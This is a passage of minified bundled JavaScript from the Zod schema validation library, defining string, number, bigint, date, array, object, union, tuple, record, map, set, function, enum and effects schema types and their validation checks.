xw(t.data,s.version)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"cidr",code:w.invalid_string,message:s.message}),r.dirty()):s.kind==="base64"?yw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"base64",code:w.invalid_string,message:s.message}),r.dirty()):s.kind==="base64url"?kw.test(t.data)||(o=this._getOrReturnCtx(t,o),x(o,{validation:"base64url",code:w.invalid_string,message:s.message}),r.dirty()):B.assertNever(s);return{status:r.value,value:t.data}}_regex(t,n,r){return this.refinement(o=>t.test(o),{validation:n,code:w.invalid_string,...T.errToObj(r)})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}email(t){return this._addCheck({kind:"email",...T.errToObj(t)})}url(t){return this._addCheck({kind:"url",...T.errToObj(t)})}emoji(t){return this._addCheck({kind:"emoji",...T.errToObj(t)})}uuid(t){return this._addCheck({kind:"uuid",...T.errToObj(t)})}nanoid(t){return this._addCheck({kind:"nanoid",...T.errToObj(t)})}cuid(t){return this._addCheck({kind:"cuid",...T.errToObj(t)})}cuid2(t){return this._addCheck({kind:"cuid2",...T.errToObj(t)})}ulid(t){return this._addCheck({kind:"ulid",...T.errToObj(t)})}base64(t){return this._addCheck({kind:"base64",...T.errToObj(t)})}base64url(t){return this._addCheck({kind:"base64url",...T.errToObj(t)})}jwt(t){return this._addCheck({kind:"jwt",...T.errToObj(t)})}ip(t){return this._addCheck({kind:"ip",...T.errToObj(t)})}cidr(t){return this._addCheck({kind:"cidr",...T.errToObj(t)})}datetime(t){return typeof t=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:t}):this._addCheck({kind:"datetime",precision:typeof t?.precision>"u"?null:t?.precision,offset:t?.offset??!1,local:t?.local??!1,...T.errToObj(t?.message)})}date(t){return this._addCheck({kind:"date",message:t})}time(t){return typeof t=="string"?this._addCheck({kind:"time",precision:null,message:t}):this._addCheck({kind:"time",precision:typeof t?.precision>"u"?null:t?.precision,...T.errToObj(t?.message)})}duration(t){return this._addCheck({kind:"duration",...T.errToObj(t)})}regex(t,n){return this._addCheck({kind:"regex",regex:t,...T.errToObj(n)})}includes(t,n){return this._addCheck({kind:"includes",value:t,position:n?.position,...T.errToObj(n?.message)})}startsWith(t,n){return this._addCheck({kind:"startsWith",value:t,...T.errToObj(n)})}endsWith(t,n){return this._addCheck({kind:"endsWith",value:t,...T.errToObj(n)})}min(t,n){return this._addCheck({kind:"min",value:t,...T.errToObj(n)})}max(t,n){return this._addCheck({kind:"max",value:t,...T.errToObj(n)})}length(t,n){return this._addCheck({kind:"length",value:t,...T.errToObj(n)})}nonempty(t){return this.min(1,T.errToObj(t))}trim(){return new e({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new e({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new e({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(t=>t.kind==="datetime")}get isDate(){return!!this._def.checks.find(t=>t.kind==="date")}get isTime(){return!!this._def.checks.find(t=>t.kind==="time")}get isDuration(){return!!this._def.checks.find(t=>t.kind==="duration")}get isEmail(){return!!this._def.checks.find(t=>t.kind==="email")}get isURL(){return!!this._def.checks.find(t=>t.kind==="url")}get isEmoji(){return!!this._def.checks.find(t=>t.kind==="emoji")}get isUUID(){return!!this._def.checks.find(t=>t.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(t=>t.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(t=>t.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(t=>t.kind==="cuid2")}get isULID(){return!!this._def.checks.find(t=>t.kind==="ulid")}get isIP(){return!!this._def.checks.find(t=>t.kind==="ip")}get isCIDR(){return!!this._def.checks.find(t=>t.kind==="cidr")}get isBase64(){return!!this._def.checks.find(t=>t.kind==="base64")}get isBase64url(){return!!this._def.checks.find(t=>t.kind==="base64url")}get minLength(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxLength(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}};xt.create=e=>new xt({checks:[],typeName:N.ZodString,coerce:e?.coerce??!1,...F(e)});Ht=class e extends H{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(t){if(this._def.coerce&&(t.data=Number(t.data)),this._getType(t)!==v.number){let s=this._getOrReturnCtx(t);return x(s,{code:w.invalid_type,expected:v.number,received:s.parsedType}),C}let r,o=new te;for(let s of this._def.checks)s.kind==="int"?B.isInteger(t.data)||(r=this._getOrReturnCtx(t,r),x(r,{code:w.invalid_type,expected:"integer",received:"float",message:s.message}),o.dirty()):s.kind==="min"?(s.inclusive?t.data<s.value:t.data<=s.value)&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.too_small,minimum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),o.dirty()):s.kind==="max"?(s.inclusive?t.data>s.value:t.data>=s.value)&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),o.dirty()):s.kind==="multipleOf"?vw(t.data,s.value)!==0&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.not_multiple_of,multipleOf:s.value,message:s.message}),o.dirty()):s.kind==="finite"?Number.isFinite(t.data)||(r=this._getOrReturnCtx(t,r),x(r,{code:w.not_finite,message:s.message}),o.dirty()):B.assertNever(s);return{status:o.value,value:t.data}}gte(t,n){return this.setLimit("min",t,!0,T.toString(n))}gt(t,n){return this.setLimit("min",t,!1,T.toString(n))}lte(t,n){return this.setLimit("max",t,!0,T.toString(n))}lt(t,n){return this.setLimit("max",t,!1,T.toString(n))}setLimit(t,n,r,o){return new e({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:T.toString(o)}]})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}int(t){return this._addCheck({kind:"int",message:T.toString(t)})}positive(t){return this._addCheck({kind:"min",value:0,inclusive:!1,message:T.toString(t)})}negative(t){return this._addCheck({kind:"max",value:0,inclusive:!1,message:T.toString(t)})}nonpositive(t){return this._addCheck({kind:"max",value:0,inclusive:!0,message:T.toString(t)})}nonnegative(t){return this._addCheck({kind:"min",value:0,inclusive:!0,message:T.toString(t)})}multipleOf(t,n){return this._addCheck({kind:"multipleOf",value:t,message:T.toString(n)})}finite(t){return this._addCheck({kind:"finite",message:T.toString(t)})}safe(t){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:T.toString(t)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:T.toString(t)})}get minValue(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxValue(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}get isInt(){return!!this._def.checks.find(t=>t.kind==="int"||t.kind==="multipleOf"&&B.isInteger(t.value))}get isFinite(){let t=null,n=null;for(let r of this._def.checks){if(r.kind==="finite"||r.kind==="int"||r.kind==="multipleOf")return!0;r.kind==="min"?(n===null||r.value>n)&&(n=r.value):r.kind==="max"&&(t===null||r.value<t)&&(t=r.value)}return Number.isFinite(n)&&Number.isFinite(t)}};Ht.create=e=>new Ht({checks:[],typeName:N.ZodNumber,coerce:e?.coerce||!1,...F(e)});jt=class e extends H{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(t){if(this._def.coerce)try{t.data=BigInt(t.data)}catch{return this._getInvalidInput(t)}if(this._getType(t)!==v.bigint)return this._getInvalidInput(t);let r,o=new te;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?t.data<s.value:t.data<=s.value)&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.too_small,type:"bigint",minimum:s.value,inclusive:s.inclusive,message:s.message}),o.dirty()):s.kind==="max"?(s.inclusive?t.data>s.value:t.data>=s.value)&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),o.dirty()):s.kind==="multipleOf"?t.data%s.value!==BigInt(0)&&(r=this._getOrReturnCtx(t,r),x(r,{code:w.not_multiple_of,multipleOf:s.value,message:s.message}),o.dirty()):B.assertNever(s);return{status:o.value,value:t.data}}_getInvalidInput(t){let n=this._getOrReturnCtx(t);return x(n,{code:w.invalid_type,expected:v.bigint,received:n.parsedType}),C}gte(t,n){return this.setLimit("min",t,!0,T.toString(n))}gt(t,n){return this.setLimit("min",t,!1,T.toString(n))}lte(t,n){return this.setLimit("max",t,!0,T.toString(n))}lt(t,n){return this.setLimit("max",t,!1,T.toString(n))}setLimit(t,n,r,o){return new e({...this._def,checks:[...this._def.checks,{kind:t,value:n,inclusive:r,message:T.toString(o)}]})}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}positive(t){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:T.toString(t)})}negative(t){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:T.toString(t)})}nonpositive(t){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:T.toString(t)})}nonnegative(t){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:T.toString(t)})}multipleOf(t,n){return this._addCheck({kind:"multipleOf",value:t,message:T.toString(n)})}get minValue(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t}get maxValue(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t}};jt.create=e=>new jt({checks:[],typeName:N.ZodBigInt,coerce:e?.coerce??!1,...F(e)});Bt=class extends H{_parse(t){if(this._def.coerce&&(t.data=!!t.data),this._getType(t)!==v.boolean){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.boolean,received:r.parsedType}),C}return ce(t.data)}};Bt.create=e=>new Bt({typeName:N.ZodBoolean,coerce:e?.coerce||!1,...F(e)});zt=class e extends H{_parse(t){if(this._def.coerce&&(t.data=new Date(t.data)),this._getType(t)!==v.date){let s=this._getOrReturnCtx(t);return x(s,{code:w.invalid_type,expected:v.date,received:s.parsedType}),C}if(Number.isNaN(t.data.getTime())){let s=this._getOrReturnCtx(t);return x(s,{code:w.invalid_date}),C}let r=new te,o;for(let s of this._def.checks)s.kind==="min"?t.data.getTime()<s.value&&(o=this._getOrReturnCtx(t,o),x(o,{code:w.too_small,message:s.message,inclusive:!0,exact:!1,minimum:s.value,type:"date"}),r.dirty()):s.kind==="max"?t.data.getTime()>s.value&&(o=this._getOrReturnCtx(t,o),x(o,{code:w.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),r.dirty()):B.assertNever(s);return{status:r.value,value:new Date(t.data.getTime())}}_addCheck(t){return new e({...this._def,checks:[...this._def.checks,t]})}min(t,n){return this._addCheck({kind:"min",value:t.getTime(),message:T.toString(n)})}max(t,n){return this._addCheck({kind:"max",value:t.getTime(),message:T.toString(n)})}get minDate(){let t=null;for(let n of this._def.checks)n.kind==="min"&&(t===null||n.value>t)&&(t=n.value);return t!=null?new Date(t):null}get maxDate(){let t=null;for(let n of this._def.checks)n.kind==="max"&&(t===null||n.value<t)&&(t=n.value);return t!=null?new Date(t):null}};zt.create=e=>new zt({checks:[],coerce:e?.coerce||!1,typeName:N.ZodDate,...F(e)});vn=class extends H{_parse(t){if(this._getType(t)!==v.symbol){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.symbol,received:r.parsedType}),C}return ce(t.data)}};vn.create=e=>new vn({typeName:N.ZodSymbol,...F(e)});Ut=class extends H{_parse(t){if(this._getType(t)!==v.undefined){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.undefined,received:r.parsedType}),C}return ce(t.data)}};Ut.create=e=>new Ut({typeName:N.ZodUndefined,...F(e)});Jt=class extends H{_parse(t){if(this._getType(t)!==v.null){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.null,received:r.parsedType}),C}return ce(t.data)}};Jt.create=e=>new Jt({typeName:N.ZodNull,...F(e)});vt=class extends H{constructor(){super(...arguments),this._any=!0}_parse(t){return ce(t.data)}};vt.create=e=>new vt({typeName:N.ZodAny,...F(e)});at=class extends H{constructor(){super(...arguments),this._unknown=!0}_parse(t){return ce(t.data)}};at.create=e=>new at({typeName:N.ZodUnknown,...F(e)});Be=class extends H{_parse(t){let n=this._getOrReturnCtx(t);return x(n,{code:w.invalid_type,expected:v.never,received:n.parsedType}),C}};Be.create=e=>new Be({typeName:N.ZodNever,...F(e)});En=class extends H{_parse(t){if(this._getType(t)!==v.undefined){let r=this._getOrReturnCtx(t);return x(r,{code:w.invalid_type,expected:v.void,received:r.parsedType}),C}return ce(t.data)}};En.create=e=>new En({typeName:N.ZodVoid,...F(e)});lt=class e extends H{_parse(t){let{ctx:n,status:r}=this._processInputParams(t),o=this._def;if(n.parsedType!==v.array)return x(n,{code:w.invalid_type,expected:v.array,received:n.parsedType}),C;if(o.exactLength!==null){let i=n.data.length>o.exactLength.value,a=n.data.length<o.exactLength.value;(i||a)&&(x(n,{code:i?w.too_big:w.too_small,minimum:a?o.exactLength.value:void 0,maximum:i?o.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:o.exactLength.message}),r.dirty())}if(o.minLength!==null&&n.data.length<o.minLength.value&&(x(n,{code:w.too_small,minimum:o.minLength.value,type:"array",inclusive:!0,exact:!1,message:o.minLength.message}),r.dirty()),o.maxLength!==null&&n.data.length>o.maxLength.value&&(x(n,{code:w.too_big,maximum:o.maxLength.value,type:"array",inclusive:!0,exact:!1,message:o.maxLength.message}),r.dirty()),n.common.async)return Promise.all([...n.data].map((i,a)=>o.type._parseAsync(new Ne(n,i,n.path,a)))).then(i=>te.mergeArray(r,i));let s=[...n.data].map((i,a)=>o.type._parseSync(new Ne(n,i,n.path,a)));return te.mergeArray(r,s)}get element(){return this._def.type}min(t,n){return new e({...this._def,minLength:{value:t,message:T.toString(n)}})}max(t,n){return new e({...this._def,maxLength:{value:t,message:T.toString(n)}})}length(t,n){return new e({...this._def,exactLength:{value:t,message:T.toString(n)}})}nonempty(t){return this.min(1,t)}};lt.create=(e,t)=>new lt({type:e,minLength:null,maxLength:null,exactLength:null,typeName:N.ZodArray,...F(t)});ve=class e extends H{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let t=this._def.shape(),n=B.objectKeys(t);return this._cached={shape:t,keys:n},this._cached}_parse(t){if(this._getType(t)!==v.object){let c=this._getOrReturnCtx(t);return x(c,{code:w.invalid_type,expected:v.object,received:c.parsedType}),C}let{status:r,ctx:o}=this._processInputParams(t),{shape:s,keys:i}=this._getCached(),a=[];if(!(this._def.catchall instanceof Be&&this._def.unknownKeys==="strip"))for(let c in o.data)i.includes(c)||a.push(c);let l=[];for(let c of i){let u=s[c],f=o.data[c];l.push({key:{status:"valid",value:c},value:u._parse(new Ne(o,f,o.path,c)),alwaysSet:c in o.data})}if(this._def.catchall instanceof Be){let c=this._def.unknownKeys;if(c==="passthrough")for(let u of a)l.push({key:{status:"valid",value:u},value:{status:"valid",value:o.data[u]}});else if(c==="strict")a.length>0&&(x(o,{code:w.unrecognized_keys,keys:a}),r.dirty());else if(c!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let c=this._def.catchall;for(let u of a){let f=o.data[u];l.push({key:{status:"valid",value:u},value:c._parse(new Ne(o,f,o.path,u)),alwaysSet:u in o.data})}}return o.common.async?Promise.resolve().then(async()=>{let c=[];for(let u of l){let f=await u.key,d=await u.value;c.push({key:f,value:d,alwaysSet:u.alwaysSet})}return c}).then(c=>te.mergeObjectSync(r,c)):te.mergeObjectSync(r,l)}get shape(){return this._def.shape()}strict(t){return T.errToObj,new e({...this._def,unknownKeys:"strict",...t!==void 0?{errorMap:(n,r)=>{let o=this._def.errorMap?.(n,r).message??r.defaultError;return n.code==="unrecognized_keys"?{message:T.errToObj(t).message??o}:{message:o}}}:{}})}strip(){return new e({...this._def,unknownKeys:"strip"})}passthrough(){return new e({...this._def,unknownKeys:"passthrough"})}extend(t){return new e({...this._def,shape:()=>({...this._def.shape(),...t})})}merge(t){return new e({unknownKeys:t._def.unknownKeys,catchall:t._def.catchall,shape:()=>({...this._def.shape(),...t._def.shape()}),typeName:N.ZodObject})}setKey(t,n){return this.augment({[t]:n})}catchall(t){return new e({...this._def,catchall:t})}pick(t){let n={};for(let r of B.objectKeys(t))t[r]&&this.shape[r]&&(n[r]=this.shape[r]);return new e({...this._def,shape:()=>n})}omit(t){let n={};for(let r of B.objectKeys(this.shape))t[r]||(n[r]=this.shape[r]);return new e({...this._def,shape:()=>n})}deepPartial(){return xn(this)}partial(t){let n={};for(let r of B.objectKeys(this.shape)){let o=this.shape[r];t&&!t[r]?n[r]=o:n[r]=o.optional()}return new e({...this._def,shape:()=>n})}required(t){let n={};for(let r of B.objectKeys(this.shape))if(t&&!t[r])n[r]=this.shape[r];else{let s=this.shape[r];for(;s instanceof Ie;)s=s._def.innerType;n[r]=s}return new e({...this._def,shape:()=>n})}keyof(){return zu(B.objectKeys(this.shape))}};ve.create=(e,t)=>new ve({shape:()=>e,unknownKeys:"strip",catchall:Be.create(),typeName:N.ZodObject,...F(t)});ve.strictCreate=(e,t)=>new ve({shape:()=>e,unknownKeys:"strict",catchall:Be.create(),typeName:N.ZodObject,...F(t)});ve.lazycreate=(e,t)=>new ve({shape:e,unknownKeys:"strip",catchall:Be.create(),typeName:N.ZodObject,...F(t)});Gt=class extends H{_parse(t){let{ctx:n}=this._processInputParams(t),r=this._def.options;function o(s){for(let a of s)if(a.result.status==="valid")return a.result;for(let a of s)if(a.result.status==="dirty")return n.common.issues.push(...a.ctx.common.issues),a.result;let i=s.map(a=>new xe(a.ctx.common.issues));return x(n,{code:w.invalid_union,unionErrors:i}),C}if(n.common.async)return Promise.all(r.map(async s=>{let i={...n,common:{...n.common,issues:[]},parent:null};return{result:await s._parseAsync({data:n.data,path:n.path,parent:i}),ctx:i}})).then(o);{let s,i=[];for(let l of r){let c={...n,common:{...n.common,issues:[]},parent:null},u=l._parseSync({data:n.data,path:n.path,parent:c});if(u.status==="valid")return u;u.status==="dirty"&&!s&&(s={result:u,ctx:c}),c.common.issues.length&&i.push(c.common.issues)}if(s)return n.common.issues.push(...s.ctx.common.issues),s.result;let a=i.map(l=>new xe(l));return x(n,{code:w.invalid_union,unionErrors:a}),C}}get options(){return this._def.options}};Gt.create=(e,t)=>new Gt({options:e,typeName:N.ZodUnion,...F(t)});it=e=>e instanceof Kt?it(e.schema):e instanceof Me?it(e.innerType()):e instanceof Wt?[e.value]:e instanceof Vt?e.options:e instanceof qt?B.objectValues(e.enum):e instanceof Yt?it(e._def.innerType):e instanceof Ut?[void 0]:e instanceof Jt?[null]:e instanceof Ie?[void 0,...it(e.unwrap())]:e instanceof Xe?[null,...it(e.unwrap())]:e instanceof Dr||e instanceof Qt?it(e.unwrap()):e instanceof Xt?it(e._def.innerType):[],rs=class e extends H{_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.object)return x(n,{code:w.invalid_type,expected:v.object,received:n.parsedType}),C;let r=this.discriminator,o=n.data[r],s=this.optionsMap.get(o);return s?n.common.async?s._parseAsync({data:n.data,path:n.path,parent:n}):s._parseSync({data:n.data,path:n.path,parent:n}):(x(n,{code:w.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[r]}),C)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(t,n,r){let o=new Map;for(let s of n){let i=it(s.shape[t]);if(!i.length)throw new Error(`A discriminator value for key \`${t}\` could not be extracted from all schema options`);for(let a of i){if(o.has(a))throw new Error(`Discriminator property ${String(t)} has duplicate value ${String(a)}`);o.set(a,s)}}return new e({typeName:N.ZodDiscriminatedUnion,discriminator:t,options:n,optionsMap:o,...F(r)})}};Zt=class extends H{_parse(t){let{status:n,ctx:r}=this._processInputParams(t),o=(s,i)=>{if(ts(s)||ts(i))return C;let a=da(s.value,i.value);return a.valid?((ns(s)||ns(i))&&n.dirty(),{status:n.value,value:a.data}):(x(r,{code:w.invalid_intersection_types}),C)};return r.common.async?Promise.all([this._def.left._parseAsync({data:r.data,path:r.path,parent:r}),this._def.right._parseAsync({data:r.data,path:r.path,parent:r})]).then(([s,i])=>o(s,i)):o(this._def.left._parseSync({data:r.data,path:r.path,parent:r}),this._def.right._parseSync({data:r.data,path:r.path,parent:r}))}};Zt.create=(e,t,n)=>new Zt({left:e,right:t,typeName:N.ZodIntersection,...F(n)});Ye=class e extends H{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.array)return x(r,{code:w.invalid_type,expected:v.array,received:r.parsedType}),C;if(r.data.length<this._def.items.length)return x(r,{code:w.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),C;!this._def.rest&&r.data.length>this._def.items.length&&(x(r,{code:w.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),n.dirty());let s=[...r.data].map((i,a)=>{let l=this._def.items[a]||this._def.rest;return l?l._parse(new Ne(r,i,r.path,a)):null}).filter(i=>!!i);return r.common.async?Promise.all(s).then(i=>te.mergeArray(n,i)):te.mergeArray(n,s)}get items(){return this._def.items}rest(t){return new e({...this._def,rest:t})}};Ye.create=(e,t)=>{if(!Array.isArray(e))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new Ye({items:e,typeName:N.ZodTuple,rest:null,...F(t)})};os=class e extends H{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.object)return x(r,{code:w.invalid_type,expected:v.object,received:r.parsedType}),C;let o=[],s=this._def.keyType,i=this._def.valueType;for(let a in r.data)o.push({key:s._parse(new Ne(r,a,r.path,a)),value:i._parse(new Ne(r,r.data[a],r.path,a)),alwaysSet:a in r.data});return r.common.async?te.mergeObjectAsync(n,o):te.mergeObjectSync(n,o)}get element(){return this._def.valueType}static create(t,n,r){return n instanceof H?new e({keyType:t,valueType:n,typeName:N.ZodRecord,...F(r)}):new e({keyType:xt.create(),valueType:t,typeName:N.ZodRecord,...F(n)})}},Tn=class extends H{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.map)return x(r,{code:w.invalid_type,expected:v.map,received:r.parsedType}),C;let o=this._def.keyType,s=this._def.valueType,i=[...r.data.entries()].map(([a,l],c)=>({key:o._parse(new Ne(r,a,r.path,[c,"key"])),value:s._parse(new Ne(r,l,r.path,[c,"value"]))}));if(r.common.async){let a=new Map;return Promise.resolve().then(async()=>{for(let l of i){let c=await l.key,u=await l.value;if(c.status==="aborted"||u.status==="aborted")return C;(c.status==="dirty"||u.status==="dirty")&&n.dirty(),a.set(c.value,u.value)}return{status:n.value,value:a}})}else{let a=new Map;for(let l of i){let c=l.key,u=l.value;if(c.status==="aborted"||u.status==="aborted")return C;(c.status==="dirty"||u.status==="dirty")&&n.dirty(),a.set(c.value,u.value)}return{status:n.value,value:a}}}};Tn.create=(e,t,n)=>new Tn({valueType:t,keyType:e,typeName:N.ZodMap,...F(n)});Rn=class e extends H{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.set)return x(r,{code:w.invalid_type,expected:v.set,received:r.parsedType}),C;let o=this._def;o.minSize!==null&&r.data.size<o.minSize.value&&(x(r,{code:w.too_small,minimum:o.minSize.value,type:"set",inclusive:!0,exact:!1,message:o.minSize.message}),n.dirty()),o.maxSize!==null&&r.data.size>o.maxSize.value&&(x(r,{code:w.too_big,maximum:o.maxSize.value,type:"set",inclusive:!0,exact:!1,message:o.maxSize.message}),n.dirty());let s=this._def.valueType;function i(l){let c=new Set;for(let u of l){if(u.status==="aborted")return C;u.status==="dirty"&&n.dirty(),c.add(u.value)}return{status:n.value,value:c}}let a=[...r.data.values()].map((l,c)=>s._parse(new Ne(r,l,r.path,c)));return r.common.async?Promise.all(a).then(l=>i(l)):i(a)}min(t,n){return new e({...this._def,minSize:{value:t,message:T.toString(n)}})}max(t,n){return new e({...this._def,maxSize:{value:t,message:T.toString(n)}})}size(t,n){return this.min(t,n).max(t,n)}nonempty(t){return this.min(1,t)}};Rn.create=(e,t)=>new Rn({valueType:e,minSize:null,maxSize:null,typeName:N.ZodSet,...F(t)});ss=class e extends H{constructor(){super(...arguments),this.validate=this.implement}_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.function)return x(n,{code:w.invalid_type,expected:v.function,received:n.parsedType}),C;function r(a,l){return Mr({data:a,path:n.path,errorMaps:[n.common.contextualErrorMap,n.schemaErrorMap,_n(),st].filter(c=>!!c),issueData:{code:w.invalid_arguments,argumentsError:l}})}function o(a,l){return Mr({data:a,path:n.path,errorMaps:[n.common.contextualErrorMap,n.schemaErrorMap,_n(),st].filter(c=>!!c),issueData:{code:w.invalid_return_type,returnTypeError:l}})}let s={errorMap:n.common.contextualErrorMap},i=n.data;if(this._def.returns instanceof Et){let a=this;return ce(async function(...l){let c=new xe([]),u=await a._def.args.parseAsync(l,s).catch(p=>{throw c.addIssue(r(l,p)),c}),f=await Reflect.apply(i,this,u);return await a._def.returns._def.type.parseAsync(f,s).catch(p=>{throw c.addIssue(o(f,p)),c})})}else{let a=this;return ce(function(...l){let c=a._def.args.safeParse(l,s);if(!c.success)throw new xe([r(l,c.error)]);let u=Reflect.apply(i,this,c.data),f=a._def.returns.safeParse(u,s);if(!f.success)throw new xe([o(u,f.error)]);return f.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...t){return new e({...this._def,args:Ye.create(t).rest(at.create())})}returns(t){return new e({...this._def,returns:t})}implement(t){return this.parse(t)}strictImplement(t){return this.parse(t)}static create(t,n,r){return new e({args:t||Ye.create([]).rest(at.create()),returns:n||at.create(),typeName:N.ZodFunction,...F(r)})}},Kt=class extends H{get schema(){return this._def.getter()}_parse(t){let{ctx:n}=this._processInputParams(t);return this._def.getter()._parse({data:n.data,path:n.path,parent:n})}};Kt.create=(e,t)=>new Kt({getter:e,typeName:N.ZodLazy,...F(t)});Wt=class extends H{_parse(t){if(t.data!==this._def.value){let n=this._getOrReturnCtx(t);return x(n,{received:n.data,code:w.invalid_literal,expected:this._def.value}),C}return{status:"valid",value:t.data}}get value(){return this._def.value}};Wt.create=(e,t)=>new Wt({value:e,typeName:N.ZodLiteral,...F(t)});Vt=class e extends H{_parse(t){if(typeof t.data!="string"){let n=this._getOrReturnCtx(t),r=this._def.values;return x(n,{expected:B.joinValues(r),received:n.parsedType,code:w.invalid_type}),C}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(t.data)){let n=this._getOrReturnCtx(t),r=this._def.values;return x(n,{received:n.data,code:w.invalid_enum_value,options:r}),C}return ce(t.data)}get options(){return this._def.values}get enum(){let t={};for(let n of this._def.values)t[n]=n;return t}get Values(){let t={};for(let n of this._def.values)t[n]=n;return t}get Enum(){let t={};for(let n of this._def.values)t[n]=n;return t}extract(t,n=this._def){return e.create(t,{...this._def,...n})}exclude(t,n=this._def){return e.create(this.options.filter(r=>!t.includes(r)),{...this._def,...n})}};Vt.create=zu;qt=class extends H{_parse(t){let n=B.getValidEnumValues(this._def.values),r=this._getOrReturnCtx(t);if(r.parsedType!==v.string&&r.parsedType!==v.number){let o=B.objectValues(n);return x(r,{expected:B.joinValues(o),received:r.parsedType,code:w.invalid_type}),C}if(this._cache||(this._cache=new Set(B.getValidEnumValues(this._def.values))),!this._cache.has(t.data)){let o=B.objectValues(n);return x(r,{received:r.data,code:w.invalid_enum_value,options:o}),C}return ce(t.data)}get enum(){return this._def.values}};qt.create=(e,t)=>new qt({values:e,typeName:N.ZodNativeEnum,...F(t)});Et=class extends H{unwrap(){return this._def.type}_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.promise&&n.common.async===!1)return x(n,{code:w.invalid_type,expected:v.promise,received:n.parsedType}),C;let r=n.parsedType===v.promise?n.data:Promise.resolve(n.data);return ce(r.then(o=>this._def.type.parseAsync(o,{path:n.path,errorMap:n.common.contextualErrorMap})))}};Et.create=(e,t)=>new Et({type:e,typeName:N.ZodPromise,...F(t)});Me=class extends H{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===N.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(t){let{status:n,ctx:r}=this._processInputParams(t),o=this._def.effect||null,s={addIssue:i=>{x(r,i),i.fatal?n.abort():n.dirty()},get path(){return r.path}};if(s.addIssue=s.addIssue.bind(s),o.type==="preprocess"){let i=o.transform(r.data,s);if(r.common.async)return Promise.resolve(i).then(async a=>{if(n.value==="aborted")return C;let l=await this._def.schema._parseAsync({data:a,path:r.path,parent:r});return l.status==="aborted"?C:l.status==="dirty"?Lt(l.value):n.value==="dirty"?Lt(l.value):l});{if(n.value==="aborted")return C;let a=this._def.schema._parseSync({data:i,path:r.path,parent:r});return a.status==="aborted"?C:a.status==="dirty"?Lt(a.value):n.value==="dirty"?Lt(a.value):a}}if(o.type==="refinement"){let i=a=>{let l=o.refinement(a,s);if(r.common.async)return Promise.resolve(l);if(l instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return a};if(r.common.async===!1){let a=this._def.schema._parseSync({data:r.data,path:r.path,parent:r});return 